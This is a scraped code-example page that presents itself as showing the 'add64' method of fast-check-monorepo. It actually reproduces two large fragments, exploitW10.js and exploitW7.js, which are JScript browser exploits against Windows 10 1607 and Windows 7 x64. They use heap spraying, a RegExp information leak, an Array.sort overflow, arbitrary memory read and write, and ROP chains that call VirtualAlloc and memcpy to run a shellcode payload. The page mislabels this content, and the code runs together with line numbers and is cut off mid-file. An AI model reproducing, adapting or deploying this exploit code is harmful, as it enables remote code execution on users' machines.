How to use add64 method in fast-check-monorepo
Best JavaScript code snippet using fast-check-monorepo
exploitW10.js
Source:exploitW10.js 
...53 mantissa = (dwh&0xfffff)*1.0/Math.pow(2, 20) + dwl*1.0/Math.pow(2, 52);54 }55 return sign*exponent*mantissa;56}57function add64(qw, value) {58 var h = qw.dwh;59 var l = qw.dwl+value;60 if (l >= 0x100000000) {61 l = fixNeg(l&0xffffffff);62 h = h+1;/////63 }64 return {dwh:h, dwl:l};65}66function sub64(qw, value) {67 var h = qw.dwh;68 var l = qw.dwl;69 if (l < value) {70 h = h-1;/////71 l = (0x100000000+l) - value;72 } else {73 l = l - value;74 }75 return {dwh:h, dwl:l};76}77function shr4_64(qw) {78 var l = qw.dwl;79 var h = qw.dwh;80 var tmp = h&0x0F;81 h = h>>4; 82 l = fixNeg((tmp<<28) | (l>>>4));83 return {dwh:h, dwl:l};84}85function equal64(qw1, qw2) {86 return qw1.dwh==qw2.dwh && qw1.dwl==qw2.dwl;87}88var namesLen = 8000;89var names = Array(namesLen);90for (var i=0; i<namesLen; i++) {91 names[i] = alloc_string(0x50, i+"_NAME");92}93//win 10 1607 svchost 94var var1 = names[373]; var var1Hash = 0xb01db001; var var1Offset = 0x10+0x98*0;95var var2 = names[432]; var var2Hash = 0xc9f6300d; var var2Offset = 0x10+0x98*1;96var var3 = names[106]; var var3Hash = 0x6ee01c13; var var3Offset = 0x10+0x98*2;97var var4 = names[559]; var var4Hash = 0x70baf01f; var var4Offset = 0x10+0x98*3;98var var5 = names[618]; var var5Hash = 0x8a93702b; var var5Offset = 0x10+0x98*4;99var var6 = names[353]; var var6Hash = 0xbc699c37; var var6Offset = 0x10+0x98*5;100var mObj;101var fakeVARObjsAddr;102function readDW(qw) {103 mObj[var2] = mObj[var3]; 104 mObj[var1] = qwToDoubleIEEE754(add64(qw, 4));105 mObj[var2] = mObj[var4];106 var highBits = mObj[var1].length*2;107 mObj[var2] = mObj[var3];108 mObj[var1] = qwToDoubleIEEE754(add64(qw, 3));109 mObj[var2] = mObj[var4];110 var lowBit = (mObj[var1].length&0x80)>>7;111 return highBits+lowBit;112}113function readQW(qw) {114 var l = readDW(qw);115 var h = readDW(add64(qw, 4));116 return {dwh:h, dwl:l};117}118function writeQW(qwAddr, qwValue) {119 mObj[var2] = mObj[var3];120 mObj[var1] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var6Offset+8));121 mObj[var2] = mObj[var5];122 mObj[var1] = qwToDoubleIEEE754(qwValue);123 mObj[var2] = mObj[var3];124 mObj[var1] = qwToDoubleIEEE754(sub64(qwAddr, 0x10));125 mObj[var2] = mObj[var5];126 mObj[var1] = mObj[var6];127}128///////////////////////////////////////////////////////////129// STAGE 1 //130///////////////////////////////////////////////////////////131log("[x] STAGE 1: Begin");132// Heap Spraying with strings133var arrayStringsLen = 1000;134var leakSize = 0x5000 - 0x3C;135var arrayStrings = new Array(arrayStringsLen);136var sA = alloc_string(leakSize, "A");137for (var i=0; i<arrayStringsLen; i++) {138 arrayStrings[i] = sA.substr(0, sA.length);139}140for (var i=1; i<arrayStringsLen; i+=2) {141 arrayStrings[i] = null;142}143CollectGarbage();144// Triggering the infoleak145var re = new RegExp(Array(0x2A).join('()'));146var target_str = arrayStrings[arrayStringsLen/2];147target_str.search(re);148RegExp.input = (leakSize+0x800)/2;149var leak = RegExp.lastParen;150// Finding the leaked object address151/*152var offset = (leakSize-0x100)/2;153var tmp = read_dword(leak, offset);154while(tmp) {155 offset += 2;156 tmp = read_dword(leak, offset);157}158log("[x] Found null at offset: " + offset.toString(16));159//ofset 0x27e2160offset = offset + 2; // alignment161*/162var offset = 0x27E4;163// Verifying the next chunk has the proper size (checking if it had A's before being free)164tmp = read_dword(leak, offset + 0x30); 165var freedChunkAddr;166if (tmp == 0x00410041) {167 // Next chunck have size 0x5000168 var c = {dwh:read_dword(leak, (offset + 0x1C)+4/2), dwl:read_dword(leak, (offset + 0x1C))};169 freedChunkAddr = c;170} else {171 // Next chunk doesnt have size 0x5000172 var c = {dwh:read_dword(leak, (offset + 0x1C)+4/2), dwl:read_dword(leak, (offset + 0x1C))};173 freedChunkAddr = sub64(c, 0x5000 + 0x5000);174}175fakeVARObjsAddr = add64(freedChunkAddr, 0x10);176// Making the data that will be loaded at the leaked address177var payload = unescape("PAYLOAD");178var arrayFOLen = arrayStringsLen/2;179var arrayFO = new Array(arrayFOLen);180var fakeVariables = 181// Filler bytes182dwordToUnicode([0x00000000, 0x00000000, 0x00000000, 0x00000000])+183// Fake linked-list of objects pointed by a hashtable:184 //Object 1:185 dwordToUnicode([186 0x00000003, 0x00000000, 0x0000C0FE, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 187 var1Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 188 + var1 + dwordToUnicode([0x00000000, 0x00000000])+189 //Object 2:190 dwordToUnicode([191 0x0000400C, 0x00000000, fakeVARObjsAddr.dwl, fakeVARObjsAddr.dwh, 0x00000000, 0x00000000, 192 0x00000000, 0x00000000, var2Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 193 0x00000000, 0x00000000]) + var2 + dwordToUnicode([0x00000000, 0x00000000])+194 //Object 3:195 dwordToUnicode([196 0x00000003, 0x00000000, 0x00000000, 0x00000000, 0x00000005, 0x00000000, 0x00000000, 0x00000000, 197 var3Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 198 + var3 + dwordToUnicode([0x00000000, 0x00000000])+199 //Object 4:200 dwordToUnicode([201 0x00000003, 0x00000000, 0x00000000, 0x00000000, 0x00000008, 0x00000000, 0x00000000, 0x00000000, 202 var4Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 203 + var4 + dwordToUnicode([0x00000000, 0x00000000])+204 //Object 5:205 dwordToUnicode([206 0x00000003, 0x00000000, 0x00000000, 0x00000000, 0x0000400C, 0x00000000, 0x00000000, 0x00000000, 207 var5Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 208 + var5 + dwordToUnicode([0x00000000, 0x00000000])+209 //Object 6:210 dwordToUnicode([211 0x00000003, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000,212 var6Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 213 + var6 + dwordToUnicode([0x00000000, 0x00000000])+214 // Space to leak data215 dwordToUnicode([0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141])+216 // Payload217 payload218;219var spaceToLeakAddr = add64(fakeVARObjsAddr, 0x10+0x98*6);220var payloadAddr = add64(fakeVARObjsAddr, 0x10+0x98*6+0x18);221// Filling the leaked-address hole222var ss = alloc_string(leakSize, fakeVariables);223for (var i=0; i<arrayFOLen; i++) {224 arrayFO[i] = ss.substr(0, ss.length);225}226log("[x] STAGE 1: Done!");227///////////////////////////////////////////////////////////228// STAGE 2 //229///////////////////////////////////////////////////////////230log("[x] STAGE 2: Begin");231// For later filling some potential holes232var nBlockspf = 0x40;233var objspf = Array(nBlockspf);234for (var ii=0; ii<nBlockspf; ii++){235 var o = new Object();236 for (var i=0; i<300; i++) {237 o[names[i]] = i;238 }239 objspf[ii] = o;240}241// Heap Spraying - LFH with HashTables242log("[x] Pre HeapSpray!");243var nBlocks = 0x1000;244var iniFreeBlocks = 0x200;245var nFreeBlocks = 0xC00;246var objshs = Array(nBlocks);247for (var ii=0; ii<nBlocks; ii++){248 var o = new Object();249 for (var i=0; i<300; i++) {250 o[names[i]] = i; // Allocs 0x400251 }252 objshs[ii] = o;253}254for (var ii=0; ii<nBlocks; ii++){255 for (var i=300; i<700; i++) {256 objshs[ii][names[i]] = i; // Reallocs 0x2000257 }258}259log("[x] HeapSpray: making holes");260for (var ii=iniFreeBlocks; ii<iniFreeBlocks+nFreeBlocks; ii+=0x10){261 for (var i=700; i<namesLen; i++) {262 objshs[ii][names[i]] = i; // Reallocs 0x10000263 }264}265CollectGarbage();266log("[x] HeapSpray done!");267// Filling some potential holes268for (var ii=0; ii<nBlockspf; ii++){269 for (var i=300; i<700; i++) {270 objspf[ii][names[i]] = i; 271 }272}273// Defining the function exploit() called inside the last callback that triggers the overflow274var arrayExLen = 0x100;275var arrayExMidPoint = 0xB4; //0xB4 allocs one of 0x21c0 y another one of 0x2d0276var arrayEx = new Array(arrayExLen);277function exploit() {278 // Constructing the object to trigger the overflow279 for (var i=0; i<arrayExMidPoint-1; i++) {280 arrayEx[i] = i;281 }282 var objAfterOverflow = {toString:function() {283 log("[x] Overflow Done!");284 try { 285 // Finding the overflowed hashtable286 var found = false;287 for (var ii=0; ii<nBlocks; ii++){288 if (objshs[ii][var1] == 0xC0FE) {289 mObj = objshs[ii];290 found = true;291 break;292 }293 }294 if (!found) {295 return false;296 }297 log("[x] Found!! MagicNumber: 0x" + mObj[var1].toString(16));298 // Fixing LFH block - Win10 1607 x64 Segment Heap 299 mObj[var6] = mObj;300 var v = readQW(add64(fakeVARObjsAddr, 0x10+0x98*5 + 0x08));301 var nameTbl = readQW(add64(v, 0x08));302 var nameList = readQW(add64(nameTbl, 0x10));303 var ovflBlock = readQW(add64(nameList, 0x38));304 // Fixing the overflow on the LFH - Win10 1607 x64 Segment Heap305 // Fixing value used as offset (0x05, always?)306 var offsetAddr = sub64(ovflBlock, 0x40);307 writeQW(offsetAddr, {dwh:0x00, dwl:0x05});308 // Fixing unused bytes 0x2200-0x21C0 ---> 0x4040 (not overwrited, so no need to fix it)309 log("[x] Fixing LFH block! - done!");310 // Fixing second overflowed buffer //WIN10 311 // Leaking stack pointer312 var stackPtr = readQW(add64(readQW(add64(nameTbl, 0x18)), 0x50));313 // Leaking jscript Address - Win10 1607 x64 Segment Heap314 var jscript = sub64(readQW(nameTbl), 0x8fa70); //offset to jscript!NameTbl::vtable315 // Finding ret address = jscript!ConvertToString+0x5b - Win10 1607 x64 Segment Heap316 var retValue = add64(jscript, 0x2ee17);317 // Adjusting stack pointer (stackPtr variable) so it points to the previous ret address318 tmp = readQW(stackPtr);319 while (!equal64(tmp, retValue)) {320 stackPtr = add64(stackPtr, 0x08);321 tmp = readQW(stackPtr);322 }323 // Leaking VirtualAlloc and memcpy addresses - Win10 1607 x64 Segment Heap324 var virtualProtect = readQW(add64(jscript, 0x98e00));325 var kernel32 = sub64(virtualProtect, 0x1bc10);326 var virtualAlloc = add64(kernel32, 0x1b210);327 var memcpy = readQW(add64(kernel32, 0x76660));328 var ntdll = sub64(memcpy, 0xab400);329 // Windows 10 1607 (x64) ROP330 // Loading ROP directly into the stack331 // Overwriting a return address that triggers the execution of the ROP chain332 writeQW(add64(stackPtr, 0x140), add64(jscript, 0x33377)); // # FF E0 # JMP RAX333 writeQW(add64(stackPtr, 0x138), memcpy); // memcpy()334 writeQW(add64(stackPtr, 0x128), {dwh:0, dwl:0x2000}); // R8 = size = 0x2000335 writeQW(add64(stackPtr, 0x120), {dwh:0, dwl:0x01}); // RCX = memdst = to be written336 writeQW(add64(stackPtr, 0x118), payloadAddr); // RDX = memsrc = payloadAddr337 writeQW(add64(stackPtr, 0x110), add64(ntdll, 0x951F0)); // # 5A 59 41 58 41 59 C3 # POP RDX # POP RCX # POP R8 # POP R9 # RET338 writeQW(add64(stackPtr, 0xE0), add64(jscript, 0x46A1)); // # 48 89 43 68 48 8B C3 48 83 C4 20 5B C3 # MOV [RBX+68], RAX # MOV RAX, RBX # ADD RSP, 20 # POP RBX # RETN339 writeQW(add64(stackPtr, 0xD8), add64(stackPtr, 0x120 - 0x68)); // RBX = ptr stack to save RAX (alloced memory)340 writeQW(add64(stackPtr, 0xB0), add64(jscript, 0x2AAA2)); // # 48 83 C4 20 5B C3 # ADD RSP, 20 # POP RBX # RETN341 writeQW(add64(stackPtr, 0xA8), virtualAlloc); // VirtualAlloc()342 writeQW(add64(stackPtr, 0xA0), {dwh:0, dwl:0x40}); // R9 = 0x40 = flProtect = PAGE_EXECUTE_READWRITE343 writeQW(add64(stackPtr, 0x98), {dwh:0, dwl:0x3000}); // R8 = 0x3000 = flAllocationType = MEM_COMMIT | MEM_RESERVE344 writeQW(add64(stackPtr, 0x90), {dwh:0, dwl:0x01}); // RCX = lpAddress = 0x00000000 = to be writen345 writeQW(add64(stackPtr, 0x88), {dwh:0, dwl:0x4000}); // RDX = 0x4000 = dwSize346 writeQW(add64(stackPtr, 0x80), add64(ntdll, 0x951F0)); // # 5A 59 41 58 41 59 C3 # POP RDX # POP RCX # POP R8 # POP R9 # RET347 writeQW(add64(stackPtr, 0x50), add64(jscript, 0x2A91D)); // # 83 63 10 00 48 83 C4 20 5B C3 # AND [RBX+10], 0 # ADD RSP, 20 # POP RBX # RETN348 writeQW(add64(stackPtr, 0x48), add64(stackPtr, 0x90 - 0x10)); // RBX = ptr stack to write 0349 writeQW(add64(stackPtr, 0x00), add64(jscript, 0x2959)); // # 48 83 C4 40 5B C3 # ADD RSP, 40 # POP RBX # RETN350 }catch(err) {351 log("[x] FHT - ERROR: " + err.name + " - " + err.message);352 }353 return "";354 }};355 var obj = {toString:function() {356 // Windows 10 1607 (x64) svchost357 arrayEx[arrayExMidPoint+ 1] = 0;358 arrayEx[arrayExMidPoint+ 2] = 0;359 arrayEx[arrayExMidPoint+ 3] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var1Offset));360 arrayEx[arrayExMidPoint+ 4] = 0;361 arrayEx[arrayExMidPoint+ 5] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var2Offset));362 arrayEx[arrayExMidPoint+ 6] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var3Offset));363 arrayEx[arrayExMidPoint+ 7] = 0;364 arrayEx[arrayExMidPoint+ 8] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var4Offset));365 arrayEx[arrayExMidPoint+ 9] = 0;366 arrayEx[arrayExMidPoint+10] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var5Offset));367 arrayEx[arrayExMidPoint+11] = 0;368 arrayEx[arrayExMidPoint+12] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var6Offset));369 arrayEx[arrayExMidPoint+13] = objAfterOverflow;370 }};371 arrayEx[0] = obj;372 // Triggering the overflow373 log("[x] Triggering Overflow!");374 Array.prototype.sort.call(arrayEx);375}376try {377 // Chaining some similar execution flows prior to the overflow to increase the odds378 var nCount = 0x20;379 var objsfh = Array(nCount);380 for (var k=0; k<nCount; k++){381 var array = new Array(arrayExLen);382 for (var i=0; i<arrayExMidPoint-1; i++) {...
exploitW7.js
Source:exploitW7.js
...45 mantissa = (dwh&0xfffff)*1.0/Math.pow(2, 20) + dwl*1.0/Math.pow(2, 52);46 }47 return sign*exponent*mantissa;48}49function add64(qw, value) {50 var h = qw.dwh;51 var l = qw.dwl+value;52 if (l >= 0x100000000) {53 l = l&0xffffffff;54 h = h+1;/////55 }56 return {dwh:h, dwl:l};57}58function sub64(qw, value) {59 var h = qw.dwh;60 var l = qw.dwl;61 if (l < value) {62 h = h-1;/////63 l = (0x100000000+l) - value;64 } else {65 l = l - value;66 }67 return {dwh:h, dwl:l};68}69var namesLen = 700;70var names = Array(namesLen);71for (var i=0; i<namesLen; i++) {72 names[i] = alloc_string(0x50, i+"_NAME");73}74var var1 = names[276]; var var1Hash = 0xdb51098b; var var1Offset = 0x10+0x98*0;75var var2 = names[184]; var var2Hash = 0x113c6a11; var var2Offset = 0x10+0x98*1;76var var3 = names[254]; var var3Hash = 0xbb28f497; var var3Offset = 0x10+0x98*2;77var var4 = names[162]; var var4Hash = 0xf114551d; var var4Offset = 0x10+0x98*3;78var var5 = names[232]; var var5Hash = 0x9b00dfa3; var var5Offset = 0x10+0x98*4;79var var6 = names[140]; var var6Hash = 0xd0ec4029; var var6Offset = 0x10+0x98*5;80var mObj;81var fakeVARObjsAddr;82function readDW(qw) {83 mObj[var2] = mObj[var3]; 84 mObj[var1] = qwToDoubleIEEE754(add64(qw, 4));85 mObj[var2] = mObj[var4];86 var highBits = mObj[var1].length*2;87 mObj[var2] = mObj[var3];88 mObj[var1] = qwToDoubleIEEE754(add64(qw, 3));89 mObj[var2] = mObj[var4];90 var lowBit = (mObj[var1].length&0x80)>>7;91 return highBits+lowBit;92}93function readQW(qw) {94 var l = readDW(qw);95 var h = readDW(add64(qw, 4));96 return {dwh:h, dwl:l};97}98function writeQW(qwAddr, qwValue) {99 mObj[var2] = mObj[var3];100 mObj[var1] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var6Offset+8));101 mObj[var2] = mObj[var5];102 mObj[var1] = qwToDoubleIEEE754(qwValue);103 mObj[var2] = mObj[var3];104 mObj[var1] = qwToDoubleIEEE754(sub64(qwAddr, 0x10));105 mObj[var2] = mObj[var5];106 mObj[var1] = mObj[var6];107}108///////////////////////////////////////////////////////////109// STAGE 1 //110///////////////////////////////////////////////////////////111// Heap Spraying with strings112var arrayStringsLen = 0x100;113var arrayStrings = new Array(arrayStringsLen);114for (var i=0; i<arrayStringsLen; i++) {115 arrayStrings[i] = alloc_string(0x5000-0x18 -0x4, "A");116}117for (var i=1; i<arrayStringsLen; i+=2) {118 arrayStrings[i] = null;119 CollectGarbage();120}121// Triggering the infoleak122var re = new RegExp(Array(0x2A).join('()'));123var target_str = arrayStrings[arrayStringsLen-4];124target_str.search(re);125RegExp.input = 0x6000/2;126var leak = RegExp.lastParen;127// Finding the leaked object address128var offset = 0;129while(read_dword(leak, offset)) {130 offset += 2;131}132offset = offset + 0x14/2; //pq son caracteres unicode133var objAddr = {dwh:read_dword(leak, offset+4/2), dwl:read_dword(leak, offset)};134fakeVARObjsAddr = add64(objAddr, 8);135// Making the data that will be loaded at the leaked address136var payload = unescape("PAYLOAD");137var arrayFOLen = 0x100;138var arrayFO = new Array(arrayFOLen);139var ptrToObject2 = add64(fakeVARObjsAddr, 0xA0);140var fakeVariables = 141// Filler bytes142dwordToUnicode([0x00000000, 0x00000000, 0x00000000, 0x00000000])+143// Fake linked-list of objects pointed by a hashtable:144 //Object 1:145 dwordToUnicode([146 0x00000003, 0x00000000, 0x0000C0FE, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 147 var1Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 148 + var1 + dwordToUnicode([0x00000000, 0x00000000])+149 //Object 2:150 dwordToUnicode([151 0x0000400C, 0x00000000, fakeVARObjsAddr.dwl, fakeVARObjsAddr.dwh, 0x00000000, 0x00000000, 152 0x00000000, 0x00000000, var2Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 153 0x00000000, 0x00000000]) + var2 + dwordToUnicode([0x00000000, 0x00000000])+154 //Object 3:155 dwordToUnicode([156 0x00000003, 0x00000000, 0x00000000, 0x00000000, 0x00000005, 0x00000000, 0x00000000, 0x00000000, 157 var3Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 158 + var3 + dwordToUnicode([0x00000000, 0x00000000])+159 //Object 4:160 dwordToUnicode([161 0x00000003, 0x00000000, 0x00000000, 0x00000000, 0x00000008, 0x00000000, 0x00000000, 0x00000000, 162 var4Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 163 + var4 + dwordToUnicode([0x00000000, 0x00000000])+164 //Object 5:165 dwordToUnicode([166 0x00000003, 0x00000000, 0x00000000, 0x00000000, 0x0000400C, 0x00000000, 0x00000000, 0x00000000, 167 var5Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 168 + var5 + dwordToUnicode([0x00000000, 0x00000000])+169 //Object 6:170 dwordToUnicode([171 0x00000003, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000,172 var6Hash, 0x00000050, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000]) 173 + var6 + dwordToUnicode([0x00000000, 0x00000000])+174 // Space to leak data175 dwordToUnicode([0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141])+176 // Payload177 payload178;179var spaceToLeakAddr = add64(fakeVARObjsAddr, 0x10+0x98*6);180var payloadAddr = add64(fakeVARObjsAddr, 0x10+0x98*6+0x18);181// Filling the leaked-address hole182var ss = alloc_string(0x5000-0x18 -0x4, fakeVariables);183for (var i=0; i<arrayFOLen; i++) {184 arrayFO[i] = Array(2).join(ss);185}186breakpoint("[x] STAGE 1: Done!");187///////////////////////////////////////////////////////////188// STAGE 2 //189///////////////////////////////////////////////////////////190// Heap Spraying - LFH with HashTables191var nBlocks = 0x300;192var iniFreeBlocks = 0x80;193var nFreeBlocks = 0x280;194var objshs = Array(nBlocks);195for (var ii=0; ii<nBlocks; ii++){196 var o = new Object();197 for (var i=0; i<300; i++) {198 o[names[i]] = i; 199 }200 objshs[ii] = o;201}202Array.prototype.sort.call(objshs);203for (var ii=iniFreeBlocks; ii<iniFreeBlocks+nFreeBlocks; ii+=2){204 for (var i=300; i<namesLen; i++) {205 objshs[ii][names[i]] = i;206 }207 CollectGarbage();208}209breakpoint("[x] HeapSpray done!");210// Filling some potential holes211var nBlockspf = 0x80;212var objspf = Array(nBlockspf);213for (var ii=0; ii<nBlockspf; ii++){214 var o = new Object();215 for (var i=0; i<300; i++) {216 o[i] = i;217 }218 objspf[ii] = o;219}220Array.prototype.sort.call(objspf);221breakpoint("[x] preFill done!");222// Defining the function exploit() called inside the last callback that triggers the overflow223var arrayExLen = 0x20;224var arrayExMidPoint = 0x15;225var arrayEx = new Array(arrayExLen);226function exploit() {227 // Constructing the object to trigger the overflow228 for (var i=0; i<arrayExMidPoint-1; i++) {229 arrayEx[i] = i;230 }231 var obj = {toString:function() {232 arrayEx[arrayExMidPoint+1] = 0;233 arrayEx[arrayExMidPoint+2] = 0;234 arrayEx[arrayExMidPoint+3] = 0;235 arrayEx[arrayExMidPoint+4] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var1Offset));236 arrayEx[arrayExMidPoint+5] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var2Offset));237 arrayEx[arrayExMidPoint+6] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var3Offset));238 arrayEx[arrayExMidPoint+7] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var4Offset));239 arrayEx[arrayExMidPoint+8] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var5Offset));240 arrayEx[arrayExMidPoint+9] = qwToDoubleIEEE754(add64(fakeVARObjsAddr, var6Offset));241 }}242 arrayEx[0] = obj;243 // Triggering the overflow244 breakpoint("[x] Triggering Overflow!");245 Array.prototype.sort.call(arrayEx);246 // Finding the overflowed hashtable247 breakpoint("[x] Finding the overflown HashTable!");248 for (var ii=iniFreeBlocks+1; ii<iniFreeBlocks+nFreeBlocks; ii+=2){249 if (objshs[ii][var1] == 0xC0FE) {250 mObj = objshs[ii];251 }252 }253 breakpoint("[x] Found!! MagicNumber: 0x" + mObj[var1].toString(16));254//////////////////////////////////////255 // Fixing overflowed heap256 mObj[var6] = mObj;257 var v = readQW(add64(fakeVARObjsAddr, 0x10+0x98*5 + 0x08));258 var nameTbl = readQW(add64(v, 0x08));259breakpoint("nameTbl: " + print64(nameTbl));260 var nameList = readQW(add64(nameTbl, 0x10));261 var ht1 = sub64(readQW(add64(nameList, 0x38)), 0x10);262breakpoint("ht1: " + print64(ht1));263 var key2 = readQW(add64(ht1, 0x410 + 0x08));264 var keyL = ((ht1.dwl^(ht1.dwl+0x410))>>4)^key2.dwl;265 var keyH = 0x90000000 + (key2.dwh&0xFF);266 var oldKey = {dwh:keyH, dwl:keyL};267 writeQW(add64(ht1, 0x08), oldKey);268 // Leaking stack pointer269 var stackPtr = readQW(add64(readQW(add64(nameTbl, 0x18)), 0x50));270breakpoint("stackPtr: " + print64(stackPtr));271 //stackPtr = add64(stackPtr, 0x3A88);272 breakpoint("stackPtr+offset: " + print64(stackPtr));273//////////////////////////////////////274 // Leaking jscript Address275 mObj[var2] = mObj[var3];276 mObj[var1] = qwToDoubleIEEE754(spaceToLeakAddr);277 mObj[var2] = mObj[var5];278 mObj[var1] = new Array(1);279 jscript = sub64(readQW(add64(spaceToLeakAddr, 0x10)), 0x24134);280 breakpoint("[x] jscript addr: " + print64(jscript));281//////////////////////////////////////282 // Finding ret address = jscript!ConvertToString+0x5b283 var retValue = add64(jscript, 0xcd23);284breakpoint("[x] retValue: " + print64(retValue));285 function equal64(qw1, qw2) {286 return qw1.dwh==qw2.dwh && qw1.dwl==qw2.dwl;287 }288 // Fixing stack pointer so it points to the previous ret address289 tmp = readQW(stackPtr);290 while (!equal64(tmp, retValue)) {291 stackPtr = add64(stackPtr, 0x08);292 tmp = readQW(stackPtr);293 }294breakpoint("[x] retValue found at: " + print64(stackPtr)); 295//////////////////////////////////////296 // Leaking VirtualAlloc and memcpy addresses297 var kernel32 = sub64(readQW(add64(jscript, 0xb33b0)), 0x15b00);298 var memcpy = readQW(add64(jscript, 0xb3268)); 299 var virtualAlloc = add64(kernel32, 0x15C68);300 breakpoint("[x] ROP");301 // Loading ROP directly into the stack302 // Overwriting a return address that triggers the execution of the ROP chain303 writeQW(add64(stackPtr, 0x198), add64(jscript, 0x44C15)); // # JMP RBX304 writeQW(add64(stackPtr, 0x168), add64(jscript, 0x9595)); // # ADD RSP,20 # POP RBX # RETN305 writeQW(add64(stackPtr, 0x160), add64(jscript, 0x44C15)); // # JMP RBX306 writeQW(add64(stackPtr, 0x158), memcpy); // RBX = memcpy307 writeQW(add64(stackPtr, 0x150), add64(jscript, 0x86014)); // # MOV R8, RBP # MOV RDX, R14 # CALL [RAX+18]308 writeQW(add64(stackPtr, 0x148), add64(stackPtr, 0x30 - 0x18)); // RAX = 309 writeQW(add64(stackPtr, 0x140), add64(jscript, 0xC1D0)); // # POP RAX # RETN310 writeQW(add64(stackPtr, 0x138), add64(jscript, 0x1532)); // # MOV [RAX+8], RCX # RET311 writeQW(add64(stackPtr, 0x130), add64(stackPtr, 0x190 - 8)); // RAX -> Saving RWX_Memory_Address into the stack = memdst312 writeQW(add64(stackPtr, 0x128), add64(jscript, 0xC1D0)); // # POP RAX # RETN313 writeQW(add64(stackPtr, 0x120), add64(jscript, 0x3BAAF)); // # MOV RCX, RAX # CALL R9314 writeQW(add64(stackPtr, 0x118), {dwh:0, dwl:0x2000}); // RBP = R8 = size = 0x2000315 writeQW(add64(stackPtr, 0x110), payloadAddr); // R14 = RDX = memsrc = payloadAddr316 writeQW(add64(stackPtr, 0x108), add64(jscript, 0x54DD)); // # MOV R9, RBX # ... # CALL [RDI+80]317 writeQW(add64(stackPtr, 0x100), add64(jscript, 0x6E9FA)); // RBX = R9 -> # POP RSI # RETN318 writeQW(add64(stackPtr, 0xF8), add64(jscript, 0x6E9FA)); // RSI = 319 writeQW(add64(stackPtr, 0xF0), add64(jscript, 0x5A697)); // # POP RSI # POP RBX # RETN320 writeQW(add64(stackPtr, 0xE8), add64(stackPtr, 0x40 - 0x80)); // RDI = 321 writeQW(add64(stackPtr, 0xC0), add64(jscript, 0xF0BA)); // # ADD RSP,20 # POP RDI # RETN322 writeQW(add64(stackPtr, 0xB8), add64(jscript, 0x44C15)); // # JMP RBX323 writeQW(add64(stackPtr, 0xB0), virtualAlloc); // RBX = VirtualAlloc324 writeQW(add64(stackPtr, 0xA8), add64(jscript, 0x9AF4)); // # MOV RCX, RBX # CALL RSI325 writeQW(add64(stackPtr, 0xA0), add64(jscript, 0x5A697)); // RSI -> # POP RSI # POP RBX # RETN326 writeQW(add64(stackPtr, 0x98), add64(jscript, 0x73121)); // # XOR EBX, EBX # CALL [RAX]327 writeQW(add64(stackPtr, 0x90), add64(stackPtr, 0x38)); // RAX =328 writeQW(add64(stackPtr, 0x88), add64(jscript, 0xC1D0)); // # POP RAX # RETN329 writeQW(add64(stackPtr, 0x80), {dwh:0, dwl:0x1000}); // RBX = 330 writeQW(add64(stackPtr, 0x78), add64(jscript, 0x86011)); // # MOV R9, RDI # MOV R8, RBP # MOV RDX, R14 # CALL [RAX+18]331 writeQW(add64(stackPtr, 0x70), add64(stackPtr, 0x30 - 0x18)); // RAX = 332 writeQW(add64(stackPtr, 0x68), add64(jscript, 0xC1D0)); // # POP RAX # RETN333 writeQW(add64(stackPtr, 0x60), {dwh:0, dwl:0x3000}); // RBP = R8 = 0x3000 = flAllocationType = MEM_COMMIT | MEM_RESERVE334 writeQW(add64(stackPtr, 0x58), {dwh:0, dwl:0x4000}); // R14 = RDX = 0x4000 = dwSize335 writeQW(add64(stackPtr, 0x50), add64(jscript, 0x7F69)); // # POP R14 # POP RBP # RETN336 writeQW(add64(stackPtr, 0x48), {dwh:0, dwl:0x40}); // RDI = R9 = 0x40 = flProtect = PAGE_EXECUTE_READWRITE337 writeQW(add64(stackPtr, 0x00), add64(jscript, 0x5BACE)); // # ADD RSP, 40 # POP RDI # RETN338 writeQW(add64(stackPtr, 0x40), add64(jscript, 0x7F67)); // Value for the CALL[RDI+80] -> # POP R15 # POP R14 # POP RBP # RETN339 writeQW(add64(stackPtr, 0x38), add64(jscript, 0x6E9F9)); // Value for the CALL[RAX] -> # POP RDI # POP RSI # RETN340 writeQW(add64(stackPtr, 0x30), add64(jscript, 0x5A697)); // Value for the CALL[RAX+18] -> # POP RSI # POP RBX # RETN341 breakpoint("[x] End Exploit");342}343// Chaining some similar execution flows prior to the overflow to increase the odds344var nCount = 0x20;345var objsfh = 